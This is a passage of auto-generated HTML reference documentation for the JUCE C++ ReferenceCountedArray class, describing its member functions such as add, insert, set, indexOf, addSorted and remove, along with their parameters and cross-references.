DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::size </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the current number of objects in the array. </p> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a6e3aa5375dce143b69a467ad405c2867">ReferenceCountedArray&lt; SynthesiserSound &gt;::addArray()</a>, and <a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a">ReferenceCountedArray&lt; SynthesiserSound &gt;::sort()</a>.</p> </div> </div> <a class="anchor" id="a28d5adcb50aff95ba86562c42718d39f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a> <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::operator[] </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the object at this index in the array. </p> <p>If the index is out-of-range, this will return a null pointer, (and it could be null anyway, because it's ok for the array to hold null pointers as well as objects).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a2f89994333ed33a20efc36e216939c58" title="Returns a pointer to the object at this index in the array, without checking whether the index is in-...">getUnchecked</a> </dd></dl> </div> </div> <a class="anchor" id="a2f89994333ed33a20efc36e216939c58"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a> <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getUnchecked </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the object at this index in the array, without checking whether the index is in-range. </p> <p>This is a faster and less safe version of operator[] which doesn't check the index passed in, so it can be used when you're sure the index is always going to be legal. </p> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a6e3aa5375dce143b69a467ad405c2867">ReferenceCountedArray&lt; SynthesiserSound &gt;::addArray()</a>.</p> </div> </div> <a class="anchor" id="ac9c63ba3ddc186c6e9fb0c3c97d1eb57"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass* <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getObjectPointer </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a raw pointer to the object at this index in the array. </p> <p>If the index is out-of-range, this will return a null pointer, (and it could be null anyway, because it's ok for the array to hold null pointers as well as objects).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a2f89994333ed33a20efc36e216939c58" title="Returns a pointer to the object at this index in the array, without checking whether the index is in-...">getUnchecked</a> </dd></dl> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a28d5adcb50aff95ba86562c42718d39f">ReferenceCountedArray&lt; SynthesiserSound &gt;::operator[]()</a>.</p> </div> </div> <a class="anchor" id="a8da693cf7dedfda5bb8a8e7331c4bf1f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass* <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getObjectPointerUnchecked </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a raw pointer to the object at this index in the array, without checking whether the index is in-range. </p> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a2f89994333ed33a20efc36e216939c58">ReferenceCountedArray&lt; SynthesiserSound &gt;::getUnchecked()</a>.</p> </div> </div> <a class="anchor" id="ab352b571e4ee02eedad655bba6434725"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a> <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getFirst </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the first object in the array. </p> <p>This will return a null pointer if the array's empty. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a906fbb190a57a893faa951949b93418b" title="Returns a pointer to the last object in the array.">getLast</a> </dd></dl> </div> </div> <a class="anchor" id="a906fbb190a57a893faa951949b93418b"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a> <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getLast </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the last object in the array. </p> <p>This will return a null pointer if the array's empty. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#ab352b571e4ee02eedad655bba6434725" title="Returns a pointer to the first object in the array.">getFirst</a> </dd></dl> </div> </div> <a class="anchor" id="abad2570544706d399a2b0b65d1ea2f6f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass** <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getRawDataPointer </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the actual array data. </p> <p>This pointer will only be valid until the next time a non-const method is called on the array. </p> </div> </div> <a class="anchor" id="a32aac83fe214508e442f1de390ff8e54"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass** <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::begin </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the first element in the array. </p> <p>This method is provided for compatibility with standard C++ iteration mechanisms. </p> </div> </div> <a class="anchor" id="a73c8d0ba66862dfe70e584c2efd41ccf"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass** <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::end </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the element which follows the last element in the array. </p> <p>This method is provided for compatibility with standard C++ iteration mechanisms. </p> </div> </div> <a class="anchor" id="a034cad62a8ebb5854db4db2ff4afbf71"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::indexOf </td> <td>(</td> <td class="paramtype">const ObjectClass *const&#160;</td> <td class="paramname"><em>objectToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Finds the index of the first occurrence of an object in the array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">objectToLookFor</td><td>the object to look for </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the index at which the object was found, or -1 if it's not found </dd></dl> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894">ReferenceCountedArray&lt; SynthesiserSound &gt;::removeObject()</a>.</p> </div> </div> <a class="anchor" id="a5660a4dab2e9765784f1c5af73d7c303"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::contains </td> <td>(</td> <td class="paramtype">const ObjectClass *const&#160;</td> <td class="paramname"><em>objectToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the array contains a specified object. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">objectToLookFor</td><td>the object to look for </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>true if the object is in the array </dd></dl> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a6bfe477012adf753bca5b32053d2ffbf">ReferenceCountedArray&lt; SynthesiserSound &gt;::addIfNotAlreadyThere()</a>.</p> </div> </div> <a class="anchor" id="a69c7478303bfab74a3fa16ff93a334a8"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass* <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::add </td> <td>(</td> <td class="paramtype">ObjectClass *const&#160;</td> <td class="paramname"><em>newObject</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Appends a new object to the end of the array. </p> <p>This will increase the new object's reference count.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">newObject</td><td>the new object to add to the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#ab091a80b766a24ba4915a10c1d71cd81" title="Replaces an object in the array with a different one.">set</a>, <a class="el" href="classReferenceCountedArray.html#af565f8dbd67b0e2adb9e85af2256e720" title="Inserts a new object into the array at the given index.">insert</a>, <a class="el" href="classReferenceCountedArray.html#a6bfe477012adf753bca5b32053d2ffbf" title="Appends a new object at the end of the array as long as the array doesn&#39;t already contain it...">addIfNotAlreadyThere</a>, <a class="el" href="classReferenceCountedArray.html#afb1a9958a818b6c410d79fc65b23432e" title="Inserts a new object into the array assuming that the array is sorted.">addSorted</a>, <a class="el" href="classReferenceCountedArray.html#a6e3aa5375dce143b69a467ad405c2867" title="Adds elements from another array to the end of this array.">addArray</a> </dd></dl> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#a6e3aa5375dce143b69a467ad405c2867">ReferenceCountedArray&lt; SynthesiserSound &gt;::addArray()</a>, <a class="el" href="classReferenceCountedArray.html#a6bfe477012adf753bca5b32053d2ffbf">ReferenceCountedArray&lt; SynthesiserSound &gt;::addIfNotAlreadyThere()</a>, and <a class="el" href="classReferenceCountedArray.html#af565f8dbd67b0e2adb9e85af2256e720">ReferenceCountedArray&lt; SynthesiserSound &gt;::insert()</a>.</p> </div> </div> <a class="anchor" id="af565f8dbd67b0e2adb9e85af2256e720"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ObjectClass* <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::insert </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>indexToInsertAt</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ObjectClass *const&#160;</td> <td class="paramname"><em>newObject</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Inserts a new object into the array at the given index. </p> <p>If the index is less than 0 or greater than the size of the array, the element will be added to the end of the array. Otherwise, it will be inserted into the array, moving all the later elements along to make room.</p> <p>This will increase the new object's reference count.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToInsertAt</td><td>the index at which the new element should be inserted </td></tr> <tr><td class="paramname">newObject</td><td>the new object to add to the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a69c7478303bfab74a3fa16ff93a334a8" title="Appends a new object to the end of the array.">add</a>, <a class="el" href="classReferenceCountedArray.html#afb1a9958a818b6c410d79fc65b23432e" title="Inserts a new object into the array assuming that the array is sorted.">addSorted</a>, <a class="el" href="classReferenceCountedArray.html#a6bfe477012adf753bca5b32053d2ffbf" title="Appends a new object at the end of the array as long as the array doesn&#39;t already contain it...">addIfNotAlreadyThere</a>, <a class="el" href="classReferenceCountedArray.html#ab091a80b766a24ba4915a10c1d71cd81" title="Replaces an object in the array with a different one.">set</a> </dd></dl> <p>Referenced by <a class="el" href="classReferenceCountedArray.html#ae4d087d8723db7a39fb876d419d9f960">ReferenceCountedArray&lt; SynthesiserSound &gt;::addOrReplaceSorted()</a>, and <a class="el" href="classReferenceCountedArray.html#afb1a9958a818b6c410d79fc65b23432e">ReferenceCountedArray&lt; SynthesiserSound &gt;::addSorted()</a>.</p> </div> </div> <a class="anchor" id="a6bfe477012adf753bca5b32053d2ffbf"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::addIfNotAlreadyThere </td> <td>(</td> <td class="paramtype">ObjectClass *const&#160;</td> <td class="paramname"><em>newObject</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Appends a new object at the end of the array as long as the array doesn't already contain it. </p> <p>If the array already contains a matching object, nothing will be done.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">newObject</td><td>the new object to add to the array </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ab091a80b766a24ba4915a10c1d71cd81"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::set </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>indexToChange</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ObjectClass *const&#160;</td> <td class="paramname"><em>newObject</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Replaces an object in the array with a different one. </p> <p>If the index is less than zero, this method does nothing. If the index is beyond the end of the array, the new object is added to the end of the array.</p> <p>The object being added has its reference count increased, and if it's replacing another object, then that one has its reference count decreased, and may be deleted.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToChange</td><td>the index whose value you want to change </td></tr> <tr><td class="paramname">newObject</td><td>the new value to set for this index. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a69c7478303bfab74a3fa16ff93a334a8" title="Appends a new object to the end of the array.">add</a>, <a class="el" href="classReferenceCountedArray.html#af565f8dbd67b0e2adb9e85af2256e720" title="Inserts a new object into the array at the given index.">insert</a>, <a class="el" href="classReferenceCountedArray.html#aea193b7f41ffc381f1c12440f997ccdd" title="Removes an object from the array.">remove</a> </dd></dl> </div> </div> <a class="anchor" id="a6e3aa5375dce143b69a467ad405c2867"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::addArray </td> <td>(</td> <td class="paramtype">const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>arrayToAddFrom</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startIndex</em> = <code>0</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numElementsToAdd</em> = <code>-1</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Adds elements from another array to the end of this array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">arrayToAddFrom</td><td>the array from which to copy the elements </td></tr> <tr><td class="paramname">startIndex</td><td>the first element of the other array to start copying from </td></tr> <tr><td class="paramname">numElementsToAdd</td><td>how many elements to add from the other array. If this value is negative or greater than the number of available elements, all available elements will be copied. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a69c7478303bfab74a3fa16ff93a334a8" title="Appends a new object to the end of the array.">add</a> </dd></dl> </div> </div> <a class="anchor" id="afb1a9958a818b6c410d79fc65b23432e"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class ElementComparator &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::addSorted </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ObjectClass *&#160;</td> <td class="paramname"><em>newObject</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Inserts a new object into the array assuming that the array is sorted. </p> <p>This will use a comparator to find the position at which the new object should go. If the array isn't sorted, the behaviour of this method will be unpredictable.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator object to use to compare the elements - see the <a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a" title="Sorts the elements in the array.">sort()</a> method for details about this object's form </td></tr> <tr><td class="paramname">newObject</td><td>the new object to insert to the array </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the index at which the new object was added </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a69c7478303bfab74a3fa16ff93a334a8" title="Appends a new object to the end of the array.">add</a>, <a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a" title="Sorts the elements in the array.">sort</a> </dd></dl> </div> </div> <a class="anchor" id="ae4d087d8723db7a39fb876d419d9f960"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class ElementComparator &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::addOrReplaceSorted </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ObjectClass *&#160;</td> <td class="paramname"><em>newObject</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Inserts or replaces an object in the array, assuming it is sorted. </p> <p>This is similar to addSorted, but if a matching element already exists, then it will be replaced by the new one, rather than the new one being added as well. </p> </div> </div> <a class="anchor" id="aba887431a64561282cdbabafe27e70e8"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class ElementComparator &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::indexOfSorted </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const ObjectClass *const&#160;</td> <td class="paramname"><em>objectToLookFor</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Finds the index of an object in the array, assuming that the array is sorted. </p> <p>This will use a comparator to do a binary-chop to find the index of the given element, if it exists. If the array isn't sorted, the behaviour of this method will be unpredictable.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator to use to compare the elements - see the <a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a" title="Sorts the elements in the array.">sort()</a> method for details about the form this object should take </td></tr> <tr><td class="paramname">objectToLookFor</td><td>the object to search for </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the index of the element, or -1 if it's not found </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#afb1a9958a818b6c410d79fc65b23432e" title="Inserts a new object into the array assuming that the array is sorted.">addSorted</a>, <a class="el" href="classReferenceCountedArray.html#a51248166d0e546e8f6ba9f831a835a7a" title="Sorts the elements in the array.">sort</a> </dd></dl> </div> </div> <a class="anchor" id="aea193b7f41ffc381f1c12440f997ccdd"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::remove </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>indexToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes an object from the array. </p> <p>This will remove the object at a given index and move back all the subsequent objects to close the gap.</p> <p>If the index passed in is out-of-range, nothing will happen.</p> <p>The object that is removed will have its reference count decreased, and may be deleted if not referenced from elsewhere.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToRemove</td><td>the index of the element to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classReferenceCountedArray.html#a3413cc68e78418918d69bf7ae132c894" title="Removes the first occurrence of a specified object from the array.">removeObject</a>, <a class="el" href="classReferenceCountedArray.html#a9430ab8bb81848ef46507d2ed2eb40c2" title="Removes a range of objects from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="a8fc0a717f91f4ff3b144f0224afdc5dd"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;class ObjectClass, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a> <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; ObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::removeAndReturn </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>indexToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes and returns an object from the array. </p> <p>This will 